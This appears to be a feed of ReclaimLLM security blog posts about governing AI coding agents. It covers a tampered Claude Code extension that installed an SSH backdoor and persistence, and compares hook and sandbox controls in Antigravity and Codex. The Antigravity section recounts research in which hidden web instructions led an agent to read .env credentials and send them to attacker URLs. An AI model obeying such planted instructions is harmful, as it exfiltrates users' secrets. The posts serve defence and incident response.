<li>Legal conclusions about privacy law. Recommend the client's counsel for those.</li>
<li>Rotating credentials and responding to incidents, unless your incident-response contract covers it.</li>
</ul>
<h2>Sample deliverable: assessment summary (synthetic)</h2>
<p>The example below is invented to show the format. It is not a real client and the findings are illustrative.</p>
<p>Client: Example SaaS Inc. (fictional), 40 engineers
Period: 4 weeks</p>
<h3>1. Tool inventory</h3>
<table>
<thead>
<tr>
<th>Tool</th>
<th>Teams</th>
<th>Install path</th>
<th>Admin owner</th>
</tr>
</thead>
<tbody><tr>
<td>Cursor</td>
<td>Platform, Web</td>
<td>Self-installed</td>
<td>Unassigned → assigned to platform lead</td>
</tr>
<tr>
<td>Claude Code</td>
<td>Data</td>
<td>npm, per developer</td>
<td>Data lead</td>
</tr>
<tr>
<td>Copilot</td>
<td>Web</td>
<td>Org licence</td>
<td>IT</td>
</tr>
</tbody></table>
<h3>2. Settings gaps found</h3>
<table>
<thead>
<tr>
<th>Finding</th>
<th>Risk</th>
<th>Action</th>
<th>Owner</th>
<th>Due</th>
</tr>
</thead>
<tbody><tr>
<td>Cursor Read Access on System (default) for all users</td>
<td>Agent can read outside repo without asking</td>
<td>Set Workspace via team policy</td>
<td>Platform lead</td>
<td>Week 2</td>
</tr>
<tr>
<td>.claude/settings.local.json committed in 2 repos</td>
<td>Saved approvals may contain credentials</td>
<td>Check contents, rotate if needed, add to .gitignore</td>
<td>Data lead</td>
<td>Week 1</td>
</tr>
<tr>
<td>No extension allowlist</td>
<td>Any extension can be installed</td>
<td>Define approved publishers</td>
<td>IT</td>
<td>Week 3</td>
</tr>
</tbody></table>
<h3>3. Evidence sample</h3>
<p>One synthetic session per tool showing a denied read, a command and an edit, with redaction applied. Two gaps recorded: Cloud Agent PR actions not visible to hooks; headless CLI runs missing end-of-session events.</p>
<h3>4. Review rhythm</h3>
<p>Monthly 30-minute review with the CTO. Quarterly coverage re-test. Next review: [date].</p>
<h2>What not to promise</h2>
<ul>
<li><strong>No real-time blocking claims.</strong> Hooks can deny some actions on supported paths. Session capture and detection tell you what happened; ReclaimLLM's detectors run on an hourly or daily sweep and alert.</li>
<li><strong>No complete coverage claims.</strong> State the known gaps in writing.</li>
<li><strong>No certification.</strong> You can help a client prepare evidence. You cannot certify their programme, and using an evidence tool does not establish that the client or vendor holds a certification.</li>
<li><strong>No legal conclusions unless your firm is qualified to give them.</strong></li>
</ul>
<h2>Where ReclaimLLM fits</h2>
<p>ReclaimLLM gives you the evidence layer for phases 3 and 4. It captures sessions from Cursor, Claude Code, Copilot, Codex and Antigravity, applies local redaction before upload, and makes sessions searchable. Check the current <a href="https://reclaimllm.com/pricing">plan comparison</a> and confirm the available team-management, audit and integration capabilities for the client's account before including them in the scope. Hosted data is stored in the US or EU region today. Canadian in-country hosting is planned for Q1 2027 and is not available yet.</p>
<p>Confirm account boundaries, client authorization and the access needed for each engagement before collecting evidence. This playbook does not assume a single partner account can administer multiple clients.</p>
<h2>Working with us</h2>
<p>If you deliver security or compliance services to software teams and want to discuss using ReclaimLLM in client engagements, email us at <a href="mailto:info@reclaimllm.com">info@reclaimllm.com</a>. Scope, access, support and commercial terms should be agreed separately for the engagement.</p>
<p><a href="https://reclaimllm.com/solutions/security-compliance">Review AI coding evidence coverage</a>.</p>
<p>Originally published on ReclaimLLM: <a href="https://reclaimllm.com/blogs/offering-ai-coding-governance-to-clients">https://reclaimllm.com/blogs/offering-ai-coding-governance-to-clients</a></p>
]]></content:encoded></item><item><title><![CDATA[The tampered Claude Code extension in Cursor's marketplace: what teams should check]]></title><description><![CDATA[Cursor's notice on tampered Anthropic.claude-code 2.1.312 and 2.1.313: who was exposed, how to check a machine, and extension controls to add.]]></description><link>https://reclaimllm-blog.hashnode.dev/the-tampered-claude-code-extension-in-cursor-s-marketplace-what-teams-should-check</link><guid isPermaLink="true">https://reclaimllm-blog.hashnode.dev/the-tampered-claude-code-extension-in-cursor-s-marketplace-what-teams-should-check</guid><category><![CDATA[cybersecurity]]></category><category><![CDATA[AI]]></category><category><![CDATA[Security]]></category><dc:creator><![CDATA[ReclaimLLM]]></dc:creator><pubDate>Sat, 14 Nov 2026 22:09:05 GMT</pubDate><content:encoded><![CDATA[<blockquote>
<p>This article was originally published on ReclaimLLM: <a href="https://reclaimllm.com/blogs/malicious-claude-code-extension-cursor-store">https://reclaimllm.com/blogs/malicious-claude-code-extension-cursor-store</a></p>
</blockquote>
<h1>The tampered Claude Code extension in Cursor's marketplace: what teams should check</h1>
<p><em>Updated November 14, 2026.</em></p>
<p>On October 29, 2026, tampered copies of Anthropic's Claude Code extension were served from Cursor's VS Code extension marketplace for about 11 hours. Cursor's security notice provides indicators of compromise and cleanup scripts; its fuller incident update is dated November 13.</p>
<p>This post summarizes what the official sources say, how a team can check its machines, and which extension controls to add. Everything about the malware comes from Cursor's notice and two independent analyses. Where the sources do not say something, we do not guess.</p>
<h2>What happened</h2>
<p><strong>Affected artifact.</strong> <code>Anthropic.claude-code</code> versions <strong>2.1.312 and 2.1.313</strong> for <strong>Windows and macOS</strong>, installed or updated from the <strong>Cursor VS Code Extension Marketplace</strong> (<a href="https://cursor.com/blog/claude-code-extension-security-notice">Cursor security notice</a>).</p>
<p><strong>Exposure window.</strong> About 2:27 a.m. to 1:35 p.m. Pacific Time on October 29, 2026 (about 5:27 a.m. to 4:35 p.m. in Toronto) (<a href="https://cursor.com/blog/claude-code-extension-security-notice">Cursor security notice</a>).</p>
<p><strong>Who published it.</strong> Not Anthropic. Cursor's update says an attacker used a credential stolen from Cursor's internal systems to place the tampered copies directly on the cache that serves Cursor's extension marketplace. Cursor says this was not a vulnerability in Anthropic's product, and that Open VSX, the marketplace source, never had the malware (<a href="https://cursor.com/blog/security-incident-update">Cursor incident update</a>). Microsoft reports that the malicious packages were never published on the Visual Studio Marketplace or in the npm package <code>@anthropic-ai/claude-code</code> (<a href="https://www.microsoft.com/en-us/security/blog/2026/10/30/inside-malicious-claude-code-branded-cursor-extension-persistent-ssh-backdoor/">Microsoft Security Blog</a>). StepSecurity reports that Anthropic confirmed 2.1.313 was never published on any official channel and skipped to 2.1.314 to avoid confusion (<a href="https://www.stepsecurity.io/blog/claude-code-extension-trojanized">StepSecurity</a>).</p>
<p><strong>How many people.</strong> Cursor says at most 5,000 users who requested specific cached versions on October 29 potentially received the malicious build, and that it contacted affected customers directly (<a href="https://cursor.com/blog/security-incident-update">Cursor incident update</a>).</p>
<p><strong>How it started.</strong> Cursor's update traces the attack to an access key Cursor had issued to Fireworks, an inference vendor. The key was exposed at Fireworks, and the attacker used it to copy data from a storage bucket Cursor shared with Fireworks. That data included some credentials, which the attacker used to reach other Cursor systems (<a href="https://cursor.com/blog/security-incident-update">Cursor incident update</a>; <a href="https://fireworks.ai/security/bulletins">Fireworks security bulletins</a>).</p>
<p><strong>What was not affected, according to Cursor:</strong> other extensions in the marketplace, plugins from the Cursor Marketplace, the Cursor app and its official updates, customer code repositories, and prompts and code of users in Privacy Mode (<a href="https://cursor.com/blog/security-incident-update">Cursor incident update</a>).</p>
<h2>What the malicious code did</h2>
<p>Cursor's notice says the tampered extension:</p>
<ul>
<li>Collected host and user details: hostname, username, OS, architecture, home directory path, environment variable names, working directories, configured Git email and public IP.</li>
<li>Tried to add an attacker-controlled SSH key (comment <code>svc-telemetry</code>) to <code>authorized_keys</code>, enable the local SSH service, and open a reverse SSH tunnel.</li>
<li>Tried to persist through a LaunchAgent on macOS, or a scheduled task with a Startup-folder fallback on Windows.</li>
</ul>
<p>Cursor also says that turning on the SSH service needs admin rights, which the extension does not have on most macOS and Windows hosts, so on those hosts the tunnel step failed. But the extension still added the key, installed persistence and sent host details. The attacker's server has been taken offline (<a href="https://cursor.com/blog/claude-code-extension-security-notice">Cursor security notice</a>).</p>
<p>Microsoft's analysis adds two useful details. The loader sends environment variable names, not values. And the code runs when the extension module loads, so no Claude conversation is needed (<a href="https://www.microsoft.com/en-us/security/blog/2026/10/30/inside-malicious-claude-code-branded-cursor-extension-persistent-ssh-backdoor/">Microsoft Security Blog</a>). StepSecurity's analysis agrees that loading the module is enough (<a href="https://www.stepsecurity.io/blog/claude-code-extension-trojanized">StepSecurity</a>).</p>
<h2>Step 1: find out if any machine was exposed</h2>
<p>A version number alone does not prove compromise. StepSecurity notes that the 2.1.312 build on Open VSX is a different, clean file. What matters is the source (Cursor's marketplace), the platform (macOS or Windows) and the time (the October 29 window).</p>
<p><strong>List exposed machines.</strong> Use your endpoint or extension-installation telemetry to find Cursor installs that installed or auto-updated <code>Anthropic.claude-code</code> to 2.1.312 or 2.1.313 during the window. Check whether Cursor or your team admins received a notice from Cursor.</p>
<p><strong>Check each candidate machine for the SSH key.</strong> Cursor's notice gives a one-line check for macOS and a PowerShell check for Windows. Both look for <code>svc-telemetry</code> in the authorized keys files. Copy the commands from the notice, not from a third-party page.</p>
<p><strong>Hunt for the published indicators.</strong> A missing SSH marker alone does not rule out exposure; correlate installation records, process activity and persistence artifacts. The notice lists file hashes, the attacker IP, persistence file paths, the scheduled task name and the SSH command line. Microsoft publishes Defender hunting queries for the same indicators.</p>
<h2>Step 2: investigate and clean up affected machines</h2>
<p>Cursor's notice gives these steps for affected hosts (<a href="https://cursor.com/blog/claude-code-extension-security-notice">Cursor security notice</a>):</p>
<ul>
<li>Isolate hosts that show signs of payload execution or backdoor installation.</li>
<li>Remove the unauthorized SSH key, persistence and running tunnel processes. Cursor provides <code>remediate-macos.sh</code> (run as the affected user, not root) and <code>remediate-windows.ps1</code> (run as Administrator). Assess whether the host should be rebuilt.</li>
<li>Do not rely on uninstalling the extension. The payload drops standalone scripts outside the extension folder that keep running.</li>
<li>Rotate credentials and sessions reachable from affected hosts, from a trusted system. Cursor says the limited environment-variable collection does not rule out later credential access over the backdoor.</li>
</ul>
<p>Microsoft adds: preserve evidence (the extension package, modified SSH files, scripts and startup entries) before cleanup, and keep unrelated SSH keys and legitimate remote-development settings (<a href="https://www.microsoft.com/en-us/security/blog/2026/10/30/inside-malicious-claude-code-branded-cursor-extension-persistent-ssh-backdoor/">Microsoft Security Blog</a>).</p>
<p>Questions go to <a href="mailto:security@cursor.com">security@cursor.com</a>, the contact both Cursor posts give.</p>
<h2>Step 3: add extension controls for next time</h2>
<p>Users in the Cursor forum asked whether they can trust plugin updates (<a href="https://forum.cursor.com/t/176923">t/176923</a>). Trust is a policy question. These controls reduce how much you depend on it.</p>
<ul>
<li><strong>Allow only approved publishers.</strong> Cursor's security-hardening guide lists Allowed Extensions, an allowlist of trusted publishers. Note that the tampered copy here used Anthropic's real extension ID, so a publisher allowlist alone would not have stopped it (<a href="https://cursor.com/docs/enterprise/security-hardening">Cursor security hardening</a>).</li>
<li><strong>Set an install cooldown.</strong> The same guide describes an extension install cooldown that defers installs and updates until a version has been public for a set number of hours, enforced fleet-wide, "to blunt short-lived malicious uploads". Microsoft recommends the same control. This exposure lasted about 11 hours, so the cooldown length matters.</li>
<li><strong>Turn on signature verification where available.</strong> Cursor's guide lists it as an optional part of the cooldown setting.</li>
<li><strong>Know where each extension came from.</strong> Record the marketplace source for your editor fleet. A version number is not enough to tell a clean build from a tampered one.</li>
<li><strong>Keep extension and MCP reviews separate.</strong> An editor extension, a plugin and an MCP server are different install paths with different controls. Our <a href="https://reclaimllm.com/blogs/mcp-security-coding-agents">MCP security guide</a> covers MCP servers.</li>
<li><strong>Limit what a compromised editor can reach.</strong> Short-lived credentials, no production secrets in shell environment variables, and SSH server disabled on laptops that do not need it all reduce the damage of any malicious extension.</li>
</ul>
<p>Cursor documents these controls in its enterprise hardening guidance. Check the linked configuration pages for your client version and deployment method; do not assume every plan supports the same fleet-wide enforcement.</p>
<h2>Where ReclaimLLM fits</h2>
<p>Use endpoint and extension-installation telemetry to investigate this incident. A captured AI session is not evidence that an extension was installed, and this article makes no claim that ReclaimLLM detected or blocked the tampered package.</p>
<p><strong>What it does:</strong> it captures AI coding sessions from Cursor, Claude Code, Copilot, Codex and Antigravity through hooks, and makes them searchable. After an incident like this, that record can help answer a narrower question: during the exposure window, which sensitive values appeared in the captured agent sessions on an affected machine. That is supplementary evidence: it cannot establish every credential the compromised host could access or narrow the vendor's rotation guidance. Detection of secrets and external egress in captured sessions runs on an hourly or daily sweep and raises alerts; it does not block.</p>
<p>For the broader agent setup, see our <a href="https://reclaimllm.com/solutions/claude-code-security">Claude Code security guide</a>.</p>
<h2>FAQ</h2>
<h3>Was Anthropic hacked?</h3>
<p>Cursor says no: Anthropic did not publish the tampered copy, and it was not a vulnerability in Anthropic's product (<a href="https://cursor.com/blog/security-incident-update">Cursor incident update</a>). Microsoft says Anthropic confirmed its systems were not compromised.</p>
<h3>I use Claude Code in VS Code, not Cursor. Am I affected?</h3>
<p>According to Cursor, Microsoft and StepSecurity, the tampered builds were only served from Cursor's marketplace. The Visual Studio Marketplace, Open VSX and the npm package were not affected.</p>
<h3>Is Linux affected?</h3>
<p>Cursor's notice names Windows and macOS builds. The indicator list also includes Linux file paths for the persistence scripts. Those artifacts do not establish that a malicious Linux package was distributed. If your Linux telemetry shows matching indicators, investigate them under your incident-response process.</p>
<h3>Does uninstalling the extension fix it?</h3>
<p>Not by itself. The payload installs scripts outside the extension folder. Follow Cursor's cleanup steps.</p>
<p><a href="https://reclaimllm.com/solutions/cursor-security">Review your Cursor extension security</a>.</p>
<p>Originally published on ReclaimLLM: <a href="https://reclaimllm.com/blogs/malicious-claude-code-extension-cursor-store">https://reclaimllm.com/blogs/malicious-claude-code-extension-cursor-store</a></p>
]]></content:encoded></item><item><title><![CDATA[Antigravity and Codex security: stopping secret leaks with hooks and sandboxes]]></title><description><![CDATA[How Google Antigravity and OpenAI Codex agents read, print, and send secrets; what hooks and sandboxes cover; and where vendor docs leave failure modes…]]></description><link>https://reclaimllm-blog.hashnode.dev/antigravity-and-codex-security-stopping-secret-leaks-with-hooks-and-sandboxes</link><guid isPermaLink="true">https://reclaimllm-blog.hashnode.dev/antigravity-and-codex-security-stopping-secret-leaks-with-hooks-and-sandboxes</guid><dc:creator><![CDATA[ReclaimLLM]]></dc:creator><pubDate>Sun, 01 Nov 2026 13:13:53 GMT</pubDate><content:encoded><![CDATA[<blockquote>
<p>This article was originally published on ReclaimLLM: <a href="https://reclaimllm.com/blogs/antigravity-codex-secret-leaks">https://reclaimllm.com/blogs/antigravity-codex-secret-leaks</a></p>
</blockquote>
<h2>Executive summary</h2>
<ul>
<li>Side-by-side of Antigravity and Codex: where secrets leak, what each vendor's hooks/sandbox cover, and fail-open/fail-closed behavior.</li>
<li>Antigravity App sandboxes terminal commands on by default; CLI (<code>agy</code>) defaults sandbox off (auto-enables in <code>auto</code> mode). Google's hook crash/timeout fail mode is undocumented.</li>
<li>Codex sandbox modes: <code>read-only</code>, <code>workspace-write</code> (default), <code>danger-full-access</code>; approvals <code>on-request</code> / <code>never</code>.</li>
<li>ReclaimLLM ships Antigravity hooks with env DLP and egress guard (not capture-only). AD-015, the automated egress-anomaly detector, does not yet cover Antigravity.</li>
</ul>
<p>Google Antigravity and OpenAI Codex both offer hooks that can deny a tool call before it runs, plus sandboxes or approval boundaries that limit what shell commands can do. Neither stack gives you secret protection by default: post-tool hooks cannot undo side effects, and hook failures do not always block the underlying action. For a team rolling out either agent in 2026, the practical answer is to combine pre-tool hooks, network limits, env-file controls, and session capture you can review after the fact.</p>
<p>This guide compares Antigravity and Codex side by side: where secrets leak, what each vendor documents, and how ReclaimLLM extends both with shipped hooks, env DLP, and an egress guard. Facts about vendor behavior were checked against public documentation in October 2026; re-verify Antigravity docs before you change production policy—they change often.</p>
<h2>Three ways coding agents leak secrets (read, print, send)</h2>
<p>Every coding agent faces the same three exfiltration paths, whether the model runs in the cloud or on your laptop:</p>
<ol>
<li>Read — the agent opens <code>.env</code>, key files, or config that holds credentials.</li>
<li>Print — shell output, logs, or MCP responses echo secrets into the transcript.</li>
<li>Send — HTTP, browser navigation, or copy-to-clipboard moves data off the machine.</li>
</ol>
<p>For a vendor-neutral map of those paths and the control layers that address them, see What is AI DLP?. The sections below focus on Antigravity and Codex specifically.</p>
<h2>Antigravity security</h2>
<h3>Gemini CLI → Antigravity CLI (<code>agy</code>)</h3>
<p>On June 18, 2026, Google announced that Gemini CLI and Gemini Code Assist IDE extensions would stop serving Google AI Pro/Ultra and free individual users. Gemini Code Assist Standard/Enterprise and paid API-key users can keep using Gemini CLI. For everyone else, Antigravity CLI (<code>agy</code>) is the replacement path.</p>
<p>Timeline note: Antigravity as an IDE existed before that cutover. Research such as PromptArmor's exfiltration write-up and Simon Willison's commentary (25 November 2025) predates the June 2026 consumer CLI transition—they describe Antigravity-era behavior, not the later Gemini CLI → <code>agy</code> migration by itself.</p>
<h3>Hooks</h3>
<p>Antigravity loads hooks from project <code>.agents/hooks.json</code> and user <code>~/.gemini/config/hooks.json</code>. Documented events include SessionStart, PreToolUse, PostToolUse, PreInvocation, PostInvocation, and Stop.</p>
<p>On PreToolUse, decisions include allow, auto_approve, deny, ask, force_ask, and deny_unless_prior_grant, and hooks can overwrite tool input before execution. See Antigravity hooks.</p>
<p>PostToolUse does not receive tool output in the documented hook payload—only an error field when something failed—so post-tool hooks cannot redact what already ran. Prevention has to happen at PreToolUse or in sandbox/network policy.</p>
<p>Hook failure behavior: As of our October 2026 doc review, Google does not document whether Antigravity's hook runner fails open or closed on crash, timeout, or malformed hook output. Do not assume either behavior; treat undocumented failure modes as a gap in your risk register.</p>
<h3>Terminal sandbox</h3>
<p>Sandbox defaults depend on surface, not account type:</p>
<table>
<thead>
<tr>
<th>Surface</th>
<th>Default sandbox behavior</th>
</tr>
</thead>
<tbody><tr>
<td>Antigravity App</td>
<td>Terminal sandbox on by default</td>
</tr>
<tr>
<td>Antigravity CLI (<code>agy</code>)</td>
<td><code>enableTerminalSandbox</code> defaults to false; auto mode can enable it</td>
</tr>
</tbody></table>
<p>Sandboxed commands get no network access by default; domains allowed under <code>read_url</code> are added to the sandbox outbound allowlist. Business and enterprise accounts use a different escape-hatch syntax (<code>unsandboxed(...)</code> vs personal <code>command(...)</code>), but Google does not document a default sandbox difference beyond that syntax. Non-workspace access defaults to false on both surfaces. Details: Antigravity sandbox and agent settings.</p>
<p>The sandbox limits terminal commands. It does not replace hook-based DLP for file tools or browser subagents.</p>
<h3>MCP tokens</h3>
<p>MCP configuration lives in <code>~/.gemini/config/mcp_config.json</code>. OAuth tokens for MCP are stored under <code>~/.gemini/antigravity/mcp_oauth_tokens.json</code>. Treat both like credential stores—same rotation and access-review discipline as API keys. See Antigravity MCP.</p>
<h3>Transcripts</h3>
<p>Session logs are written under paths such as:</p>
<pre><code>~/.gemini/antigravity-cli/brain/&lt;session-id&gt;/.system_generated/logs/transcript.jsonl
</code></pre>
<p>Google has used more than one folder name across versions (<code>antigravity-cli</code>, <code>antigravity</code>, <code>antigravity-ide</code>). ReclaimLLM's historical sync checks those variants when backfilling. Provider-owned transcripts may retain unredacted content even when hooks sanitize uploads—plan retention and disk encryption accordingly. For a cross-tool transcript map, see AI coding transcripts as a secret store.</p>
<h3>Known exfiltration research</h3>
<p>PromptArmor demonstrated indirect prompt injection: hidden instructions in web content coerced Antigravity to read <code>.env</code> credentials and exfiltrate them via attacker-controlled URLs reached through a browser subagent. At research time, <code>webhook.site</code> appeared in Antigravity's default Browser URL Allowlist (browser docs). As of our October 2026 check, PromptArmor's write-up did not document a vendor fix—say “no fix documented as of [your check date],” not “patched” or “still vulnerable forever.”</p>
<p>Operational mitigations either way: tighten browser allowlists, block env reads at PreToolUse, and monitor outbound network patterns.</p>
<h2>Codex security</h2>
<h3>Hooks</h3>
<p>Codex enables hooks by default. To disable them in <code>config.toml</code>:</p>
<pre><code class="language-toml">[features]
hooks = false
</code></pre>
<p>Non-managed hooks require review and trust via <code>/hooks</code> before they run. Managed hooks arrive through <code>requirements.toml</code> and MDM. Project-local hooks load only when the project <code>.codex/</code> layer is trusted; user and system hooks still load from their own config layers when the project is untrusted.</p>
<p>PreToolUse can deny or rewrite input. OpenAI's docs state explicitly that “an explicit supported denial can block an action, but a PreToolUse callback error, timeout, or malformed response can fail the hook without blocking the tool.” PostToolUse cannot undo side effects; errors, missing servers, and unavailable tools do not block the operation.</p>
<p>Canonical references (October 2026): Codex hooks and Agent approvals &amp; security. Older <code>developers.openai.com/codex/*</code> URLs redirect to <code>learn.chatgpt.com</code>; cite the learn URLs in new docs.</p>
<h3>Sandbox and approvals</h3>
<p>Named sandbox modes:</p>
<table>
<thead>
<tr>
<th>Mode</th>
<th>Behavior</th>
</tr>
</thead>
<tbody><tr>
<td><code>read-only</code></td>
<td>Inspect files; no edits or commands without approval</td>
</tr>
<tr>
<td><code>workspace-write</code></td>
<td>Default — edits and routine local commands within project boundaries</td>
</tr>
<tr>
<td><code>danger-full-access</code></td>
<td>Removes filesystem and network restrictions</td>
</tr>
</tbody></table>
<p>Approval policies: <code>on-request</code> (sandboxed by default, asks to go beyond the boundary) and <code>never</code>. An <code>approvals_reviewer</code> can be <code>user</code> or <code>auto_review</code>.</p>
<p>OpenAI documents Work Cloud toggles such as “Allow public internet access,” but does not state a default network-access policy for the sandbox itself in the material we reviewed—do not claim “network blocked by default” without checking your org's current Codex settings page.</p>
<h3>Transcripts</h3>
<p>Full session transcripts live at:</p>
<pre><code>~/.codex/sessions/YYYY/MM/DD/rollout-*.jsonl
</code></pre>
<p>Codex also maintains a separate prompt index at <code>~/.codex/history.jsonl</code>. ReclaimLLM's <code>rclm-sync</code> imports session JSONL under <code>sessions/</code>; it does not import <code>history.jsonl</code> as a full session source. Align purge policy with both files if developers use Codex daily.</p>
<h2>Antigravity vs Codex: hooks and sandboxes</h2>
<table>
<thead>
<tr>
<th>Capability</th>
<th>Antigravity</th>
<th>Codex</th>
</tr>
</thead>
<tbody><tr>
<td>Pre-tool deny</td>
<td>Yes (PreToolUse)</td>
<td>Yes (PreToolUse)</td>
</tr>
<tr>
<td>Rewrite tool input</td>
<td>Yes (overwrite)</td>
<td>Yes (<code>updatedInput</code>)</td>
</tr>
<tr>
<td>Redact tool output in PostToolUse</td>
<td>No (no output in hook payload)</td>
<td>No (cannot undo side effects)</td>
</tr>
<tr>
<td>Hook crash/timeout behavior</td>
<td>Undocumented by Google</td>
<td>Documented: can fail without blocking the tool</td>
</tr>
<tr>
<td>Trust model</td>
<td>Project/user hook files</td>
<td><code>/hooks</code> review + trust; managed via <code>requirements.toml</code></td>
</tr>
<tr>
<td>Sandbox default</td>
<td>App: on; CLI (<code>agy</code>): off (auto may enable)</td>
<td><code>workspace-write</code>; network default undocumented</td>
</tr>
</tbody></table>
<p>Neither column replaces secret scanning in CI or vault-backed credentials. Both need explicit env and egress policy.</p>
<h2>How ReclaimLLM fits Antigravity and Codex</h2>
<p>ReclaimLLM's Antigravity integration is shipped, not a preview: default <code>rclm-hooks-install</code> includes Antigravity with PreInvocation, PostInvocation, PreToolUse, PostToolUse, and Stop.</p>
<p>On PreToolUse for Antigravity, ReclaimLLM runs:</p>
<ul>
<li>Env DLP — denies <code>view_file</code>, <code>write_to_file</code>, and <code>replace_file_content</code> on recognized env paths; blocks <code>run_command</code> patterns that dump environment files.</li>
<li>Egress guard — blocks common exfiltration binaries and inline fetch patterns toward non-allowlisted destinations, plus a GeoIP country firewall (announcement).</li>
</ul>
<p>The same egress guard covers Codex on PreToolUse. For post-hoc egress anomaly detection, AD-015's shipped client list names Claude Code, Cursor, Codex CLI, GitHub Copilot, Gemini CLI, Windsurf, and OpenCode—it does not list Antigravity. Use hooks + egress guard for Antigravity prevention; use capture and signals for broader detection. See AD-015.</p>
<p>Capture: <code>rclm-sync --antigravity</code> backfills transcripts; live Stop hooks upload sessions. Provider transcripts on disk may stay unredacted—ReclaimLLM redacts on upload per local redaction, but treat local files as sensitive.</p>
<h3>Two different “fail” modes (do not conflate them)</h3>
<p>When ReclaimLLM's env DLP hook runs and recognizes a blocked env access pattern, it denies that tool call—fail-closed for that class of event.</p>
<p>When the hook process crashes, times out, or the vendor hook runner errors, behavior follows vendor rules. Codex documents fail-open hook callbacks in several cases; Antigravity's runner behavior on error is undocumented. ReclaimLLM coverage is detection, not MDM—you still want coverage alerts when hooks go missing.</p>
<p>ReclaimLLM data residency is US and EU only. SOC 2 Type II is targeted for early 2027; ReclaimLLM is not yet certified.</p>
<h2>Checklist for Antigravity and Codex</h2>
<table>
<thead>
<tr>
<th>#</th>
<th>Control</th>
<th>Antigravity</th>
<th>Codex</th>
</tr>
</thead>
<tbody><tr>
<td>1</td>
<td>Pre-tool hooks for env + egress</td>
<td>Install RCLM hooks; review Google hook JSON</td>
<td>Trust project hooks; install RCLM hooks</td>
</tr>
<tr>
<td>2</td>
<td>Sandbox / approvals</td>
<td>App: confirm sandbox on; CLI: set <code>enableTerminalSandbox</code> explicitly</td>
<td>Avoid <code>danger-full-access</code>; prefer <code>on-request</code></td>
</tr>
<tr>
<td>3</td>
<td>Browser / network allowlists</td>
<td>Review default browser allowlist; remove test domains</td>
<td>Confirm Work Cloud network toggle with security</td>
</tr>
<tr>
<td>4</td>
<td>MCP credential hygiene</td>
<td>Rotate <code>mcp_oauth_tokens.json</code> on schedule</td>
<td>Review managed <code>requirements.toml</code> hooks</td>
</tr>
<tr>
<td>5</td>
<td>Transcript retention</td>
<td>Encrypt disk; purge <code>~/.gemini/.../transcript*.jsonl</code></td>
<td>Purge <code>sessions/</code> and decide on <code>history.jsonl</code></td>
</tr>
<tr>
<td>6</td>
<td>Coverage verification</td>
<td>Coverage tab + device check-in</td>
<td>Same</td>
</tr>
<tr>
<td>7</td>
<td>Incident evidence</td>
<td>Signals + session replay</td>
<td>AD-015 where supported</td>
</tr>
</tbody></table>
<p>For a deeper network-exfiltration playbook, see Stopping AI agent network exfiltration.</p>
<p>Next step: Block secret exfiltration in Antigravity and Codex—start free.</p>
<h2>FAQ</h2>
<h3>Is Google Antigravity secure for company code?</h3>
<p>It can be, when you combine sandbox settings (surface-dependent defaults), hook denies, browser allowlists, MCP hygiene, and monitoring. Google documents the knobs; your team owns enforcement and verification. No agent is safe if developers paste live secrets into prompts.</p>
<h3>Is Gemini CLI still available?</h3>
<p>Yes for Gemini Code Assist Standard/Enterprise and paid API-key users. Consumer Pro/Ultra and free individual access moved to Antigravity CLI on June 18, 2026. Enterprise CLI users are not automatically on <code>agy</code>.</p>
<h3>Do Antigravity hooks fail open?</h3>
<p>Google does not document crash, timeout, or malformed-output behavior for its hook runner as of October 2026. ReclaimLLM env DLP denies recognized env reads when our hook runs successfully—it does not change undocumented Google runner behavior.</p>
<h3>Can Codex hooks block a command?</h3>
<p>Yes—a supported PreToolUse deny blocks the action. Hook callback errors, timeouts, or malformed responses can fail the hook without blocking the tool, per OpenAI's documentation.</p>
<h3>Where are Antigravity MCP OAuth tokens stored?</h3>
<p>In <code>~/.gemini/antigravity/mcp_oauth_tokens.json</code>, alongside MCP config in <code>~/.gemini/config/mcp_config.json</code>. Back them into access-review and rotation procedures like any other secret file.</p>
<h3>Does ReclaimLLM's AD-015 cover Antigravity?</h3>
<p>No. AD-015's published integration list does not include Antigravity. Use PreToolUse egress guard and env DLP for Antigravity, plus session capture for audit evidence.</p>
<hr />
<p>Originally published on ReclaimLLM: <a href="https://reclaimllm.com/blogs/antigravity-codex-secret-leaks">https://reclaimllm.com/blogs/antigravity-codex-secret-leaks</a></p>
]]></content:encoded></item><item><title><![CDATA[Claude Code security best practices for engineering teams (2026)]]></title><description><![CDATA[This article was originally published on ReclaimLLM: Managed settings, deny rules, sandbox limits, hooks, MCP and transcripts: the Claude Code controls a…]]></description><link>https://reclaimllm-blog.hashnode.dev/claude-code-security-best-practices-for-engineering-teams-2026</link><guid isPermaLink="true">https://reclaimllm-blog.hashnode.dev/claude-code-security-best-practices-for-engineering-teams-2026</guid><dc:creator><![CDATA[ReclaimLLM]]></dc:creator><pubDate>Sat, 31 Oct 2026 14:21:26 GMT</pubDate><content:encoded><![CDATA[<blockquote>
<p>This article was originally published on ReclaimLLM: <a href="https://reclaimllm.com/blogs/claude-code-security-best-practices">https://reclaimllm.com/blogs/claude-code-security-best-practices</a></p>
</blockquote>
<p>Managed settings, deny rules, sandbox limits, hooks, MCP and transcripts: the Claude Code controls a 10–100 person team should set, and what each misses.</p>
<h2>Executive summary</h2>
<ul>
<li>Team rollout checklist for Claude Code, layered by control (managed settings → permissions → sandbox → hooks → MCP → transcripts → gateway → audit), each with an honest “what it misses” line.</li>
<li>When the hook runs, recognized <code>.env</code> / <code>*.env</code> access is fail-closed (sanitize Read, block Bash dumps, or deny if the file cannot be inspected). Hook process crashes/timeouts and egress-backend errors can still fail open unless you set Claude’s <code>onFailure: "block"</code>.</li>
<li>Claude Code’s local transcript path is <code>~/.claude/projects/</code>; provider transcripts may still hold unredacted content.</li>
<li>Coverage detection tells you when hooks are missing—it is detection, not MDM.</li>
</ul>
<p>Securing Claude Code for a team means four layers: managed settings that developers cannot override, permission deny rules and sandboxing for what the agent can touch, hooks that inspect prompts and tool calls, and an audit trail of what was actually read and sent. None of these layers alone covers every path secrets can take. This checklist walks through each control in order, cites Anthropic’s own documentation, and states plainly what each layer misses so you can assign an owner before a customer security review.</p>
<p>For a product-level overview of how ReclaimLLM fits Claude Code, see Claude Code security.</p>
<h2>The Claude Code security risks that matter for a team</h2>
<p>Claude Code is an agent: it reads files, edits code, runs shell commands, and can call MCP servers without a human approving every step. That maps cleanly to OWASP LLM risks such as sensitive information disclosure (LLM02) and excessive agency (LLM06).</p>
<p>Concrete risks for a 10–100 person engineering team include:</p>
<ul>
<li>Secrets in prompts, file reads, and tool output. A pasted log line or an accidental <code>.env</code> read can reach the model and land in local session history.</li>
<li>MCP servers and plugins with their own credentials and network access, configured outside your repo review process.</li>
